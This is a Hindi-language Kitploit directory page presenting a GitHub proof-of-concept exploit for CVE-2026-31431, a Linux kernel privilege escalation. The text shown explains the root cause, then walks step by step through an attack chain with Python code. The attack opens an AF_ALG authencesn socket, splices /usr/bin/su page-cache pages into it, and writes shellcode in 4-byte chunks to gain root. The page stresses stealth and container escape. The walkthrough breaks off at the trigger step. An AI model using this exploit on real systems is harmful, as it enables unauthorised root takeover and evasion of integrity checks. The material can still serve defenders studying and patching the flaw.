Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-31431-python-copyfail-POC — Python एक्सप्लॉइट CVE-2026-31431 के लिए, जो setuid बाइनरीज़ के पेज कैश भ्रष्टाचार के माध्यम से Linux कर्नेल विशेषाधिकार वृद्धि है, जिससे रूट एक्सेस प्राप्त होता है। | Kitploit
उपकरण/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगबाइनरी शोषण
GitHub
साझा करें
julichaan/cve-2026-31431-python-copyfail-poc

CVE-2026-31431-python-copyfail-POC

Python एक्सप्लॉइट CVE-2026-31431 के लिए, जो setuid बाइनरीज़ के पेज कैश भ्रष्टाचार के माध्यम से Linux कर्नेल विशेषाधिकार वृद्धि है, जिससे रूट एक्सेस प्राप्त होता है।

रिपॉजिटरी देखें
616 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-31431: कॉपी फेल - लिनक्स कर्नेल विशेषाधिकार वृद्धि

कॉपी फेल (CVE-2026-31431) लिनक्स कर्नेल के क्रिप्टोग्राफिक सबसिस्टम में एक गंभीर लॉजिक बग है जो अनप्रिविलेज्ड उपयोगकर्ताओं को रूट तक विशेषाधिकार वृद्धि प्राप्त करने की अनुमति देता है। यह भेद्यता सभी प्रमुख वितरणों में लिनक्स कर्नेल 6.0.0 से 6.18.x को प्रभावित करती है।

इस रिपॉजिटरी में वास्तविक एक्सप्लॉइट है जो setuid बाइनरीज़ के पेज कैश को दूषित करके और रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करके भेद्यता को ट्रिगर करता है।


कॉपी फेल क्या है?

कॉपी फेल एक लॉजिक बग है जो अनप्रिविलेज्ड उपयोगकर्ताओं को सिस्टम पर किसी भी पठनीय फ़ाइल के कर्नेल के पेज कैश में सीधे मनमाने 4-बाइट चंक लिखने की अनुमति देता है, जिसमें setuid बाइनरीज़ भी शामिल हैं।

मुख्य विशेषताएं:

  • निर्धारक (Deterministic): कोई रेस कंडीशन या टाइमिंग विंडो की आवश्यकता नहीं
  • पोर्टेबल: समान एक्सप्लॉइट सभी भेद्य वितरणों (Ubuntu, RHEL, Amazon Linux, SUSE) पर काम करता है
  • गुप्त (Stealthy): डिस्क पर मौजूद फ़ाइलें कभी संशोधित नहीं होतीं; केवल इन-मेमोरी पेज कैश दूषित होता है
  • कंटेनरीकृत: कंटेनर सीमाओं को बायपास करता है क्योंकि पेज कैश होस्ट के साथ साझा होता है
  • सरल: केवल Python 3.10+ और मानक लाइब्रेरी मॉड्यूल की आवश्यकता है

तकनीकी विवरण

मूल कारण: इन-प्लेस AEAD ऑपरेशन

यह भेद्यता algif_aead.c (कमिट 72548b093ee3) में 2017 के अनुकूलन से उत्पन्न होती है जिसने AEAD ऑपरेशन को आउट-ऑफ-प्लेस से इन-प्लेस में बदल दिया:

पहले (सुरक्षित - 2015):

TX स्कैटरलिस्ट (इनपुट)  ← TX बफर (फ़ाइल से उपयोगकर्ता डेटा)
RX स्कैटरलिस्ट (आउटपुट) ← RX बफर (उपयोगकर्ता का आउटपुट क्षेत्र)
                          
अलग स्कैटरलिस्ट = पेज कैश पेज केवल-पठनीय हैं

बाद में (भेद्य - 2017):

संयुक्त स्कैटरलिस्ट:
[ RX बफर ] [ sg_chain() के माध्यम से जुड़े पेज कैश पेज ]
↑                ↑
req->src = src   req->dst = dst  (समान स्कैटरलिस्ट)

पेज कैश पेज अब एक लिखने-योग्य स्कैटरलिस्ट में हैं!

संयुक्त स्कैटरलिस्ट इस प्रकार दिखती है:

[RX बफर से AAD + सिफरटेक्स्ट] || [/usr/bin/su पेज कैश से टैग]
                                  ↑
                                  सीमा
                                  (authencesn इस बिंदु से आगे लिखता है)

ट्रिगर: authencesn एल्गोरिदम स्क्रैच राइट

authencesn एल्गोरिदम IPsec द्वारा विस्तारित अनुक्रम संख्या (ESN) के लिए उपयोग किया जाने वाला एक AEAD रैपर है। यह HMAC गणना करता है लेकिन AAD (संबद्ध प्रमाणित डेटा) के भीतर बाइट्स को पुनर्व्यवस्थित करने की आवश्यकता होती है।

कर्नेल कोड (crypto/authenc.c) में, डिक्रिप्शन के दौरान:

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // AAD बाइट्स 0-7 पढ़ें
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // अस्थायी: dst[4..7] को अधिलेखित करें
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← मुख्य पंक्ति
                                                        // dst[assoclen+cryptlen] पर 4 बाइट लिखें

समस्या: तीसरा लेखन ऑफसेट assoclen + cryptlen पर होता है। भेद्य इन-प्लेस पथ में:

  • सामान्य मामला: यह ऑफसेट उपयोगकर्ता के RX बफर के भीतर है (हानिरहित)
  • भेद्य मामला: यह ऑफसेट उपयोगकर्ता के बफर से परे है और जुड़े हुए पेज कैश पेजों में गिर जाता है (गंभीर)

कर्नेल इस स्थिति को "व्यय योग्य स्क्रैच स्पेस" मानता है और वहां मान स्थायी रूप से लिखता है। पेज कैश में इस स्थिति के मूल बाइट्स हमेशा के लिए खो जाते हैं।

हमले की श्रृंखला

1. हमलावर AF_ALG सॉकेट खोलता है → authencesn(hmac(sha256),cbc(aes)) से बाइंड करता है
   (कोई विशेषाधिकार आवश्यक नहीं; AF_ALG डिफ़ॉल्ट रूप से अनप्रिविलेज्ड उपयोगकर्ताओं के लिए उपलब्ध है)

2. हमलावर लक्ष्य फ़ाइल खोलता है: /usr/bin/su (setuid-root बाइनरी)

3. हमलावर /usr/bin/su के पेज कैश पेजों को "सिफरटेक्स्ट" और "टैग" के रूप में
   AF_ALG सॉकेट में पहुंचाने के लिए splice() का उपयोग करता है
   
4. हमलावर AAD के साथ sendmsg() भेजता है जिसमें शामिल है:
   - बाइट्स 0-3: पैडिंग
   - बाइट्स 4-7: seqno_lo = लिखने के लिए 4-बाइट मान (हमलावर द्वारा नियंत्रित)
   - बाइट्स 8+: पैडिंग

5. हमलावर recvmsg() कॉल करता है जो AEAD डिक्रिप्ट ऑपरेशन ट्रिगर करता है
   
   कर्नेल स्पेस में authencesn के डिक्रिप्ट के अंदर:
   a) कर्नेल AAD बाइट्स 0-7 पढ़ता है
   b) कर्नेल dst[4..7] पर seqno_hi लिखता है (अस्थायी, फिर पुनर्स्थापित)
   c) कर्नेल dst[assoclen + cryptlen] पर seqno_lo लिखता है
      ↓
      यह लेखन उपयोगकर्ता बफर से पेज कैश पेजों में पार करता है
      ↓
      /usr/bin/su के पेज कैश में 4-बाइट लेखन यहाँ होता है
   d) कर्नेल HMAC की गणना करता है (सत्यापन विफल - सिफरटेक्स्ट निर्मित है)
   e) recvmsg() त्रुटि लौटाता है
   
   लेकिन: 4-बाइट लेखन पेज कैश में पहले से ही बना रहता है

6. हमलावर शेलकोड के प्रत्येक 4-बाइट चंक के लिए चरण 2-5 दोहराता है

7. हमलावर /usr/bin/su निष्पादित करता है
   - कर्नेल बाइनरी को पेज कैश से लोड करता है (जिसमें अब शेलकोड है)
   - बाइनरी setuid-root है
   - शेलकोड UID=0 के साथ निष्पादित होता है
   - हमलावर के पास रूट एक्सेस है

यह क्यों काम करता है

पहलूस्पष्टीकरण
कोई क्रैश नहींऑपरेशन कर्नेल के दृष्टिकोण से पूरा होता है
निर्धारककोई रेस कंडीशन नहीं; सिंक्रोनस और विश्वसनीय
स्थायीपेज कैश भ्रष्टाचार recvmsg() त्रुटि के बाद भी बना रहता है
अदृश्यडिस्क पर फ़ाइल अछूती; मानक अखंडता उपकरण कुछ भी पता नहीं लगाते
सार्वभौमिकसमान कोड सभी वितरणों पर काम करता है; कोई प्रति-वितरण ऑफसेट आवश्यक नहीं
पोर्टेबलx86-64 और ARM64 आर्किटेक्चर पर काम करता है

एक्सप्लॉइट: चरण-दर-चरण

चरण 1: सॉकेट सेटअप

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # AEAD ऑपरेशन के लिए अनुरोध सॉकेट

authencesn AEAD टेम्पलेट से बाउंड एक AF_ALG सॉकेट बनाएं।

चरण 2: लक्ष्य बाइनरी खोलें

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

setuid बाइनरी खोलें जिसे दूषित किया जाएगा। कोई भी पठनीय फ़ाइल काम करती है, लेकिन विशेषाधिकार वृद्धि के लिए setuid बाइनरीज़ चुनी जाती हैं।

चरण 3: स्प्लाइस के लिए पाइप बनाएं

pipe_rd, pipe_wr = os.pipe()

एक पाइप बनाएं जो splice() ऑपरेशन के लिए मध्यस्थ के रूप में कार्य करेगा। पाइप बफर पेज कैश पेजों के संदर्भ रखेंगे।

चरण 4: फ़ाइल को पाइप में स्प्लाइस करें

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

write_offset से शुरू होकर /usr/bin/su से cryptlen बाइट्स को पाइप में स्थानांतरित करने के लिए splice() का उपयोग करें।

यह क्यों मायने रखता है: splice() फ़ाइल डिस्क्रिप्टर के बीच डेटा बिना कॉपी किए स्थानांतरित करता है। यह कर्नेल पेज कैश पेजों के सीधे संदर्भ पास करता है। ये पेज पाइप के आंतरिक बफर संरचना में रहते हैं।

चरण 5: AEAD पैरामीटर तैयार करें

assoclen = 8          # AAD लंबाई: बाइट्स 0-7
cryptlen = 32         # सिफरटेक्स्ट लंबाई (== HMAC-SHA256 आउटपुट)
authsize = 32         # टैग लंबाई
write_offset = 0x2000 # /usr/bin/su में लिखने के लिए ऑफसेट

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

AAD (संबद्ध प्रमाणित डेटा) में शामिल है:

  • बाइट्स 0-3: पैडिंग
  • बाइट्स 4-7: लिखने के लिए 4-बाइट मान (seqno_lo) ← हमलावर इसे नियंत्रित करता है
  • शेष: पैडिंग

authencesn एल्गोरिदम अपने स्क्रैच राइट में इस AAD के बाइट्स 4-7 का उपयोग करेगा।

चरण 6: AAD भेजें

req_sock.sendmsg([aad], [], socket.MSG_MORE)

AAD को AF_ALG सॉकेट पर भेजें। MSG_MORE फ्लैग इंगित करता है कि सिफरटेक्स्ट/टैग आगे आएगा।

चरण 7: सिफरटेक्स्ट+टैग को सॉकेट में स्प्लाइस करें

os.splice(pipe_rd, req_sock.fileno(), cryptlen)

पाइप से पेज कैश पेजों को AF_ALG सॉकेट में स्थानांतरित करें। अब कर्नेल की स्कैटरलिस्ट में शामिल है:

स्कैटरलिस्ट श्रृंखला:
[ AAD (RX बफर से) ] || [ सिफरटेक्स्ट (RX बफर से) ] → [ टैग (पेज कैश पेज) ]
                                                               ↑
                                                     अभी भी संदर्भित करता है
                                                     /usr/bin/su के पेज

चरण 8: recvmsg() के माध्यम से भेद्यता ट्रिगर करें

try:
    req_sock.recv(1024)
except OSError:
    pass  # अमान्य HMAC के साथ विफल होने की उम्मीद है

AEAD डिक्रिप्ट ऑपरेशन ट्रिगर करने के लिए recvmsg() कॉल करें:

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    424
  • 4

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    276

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →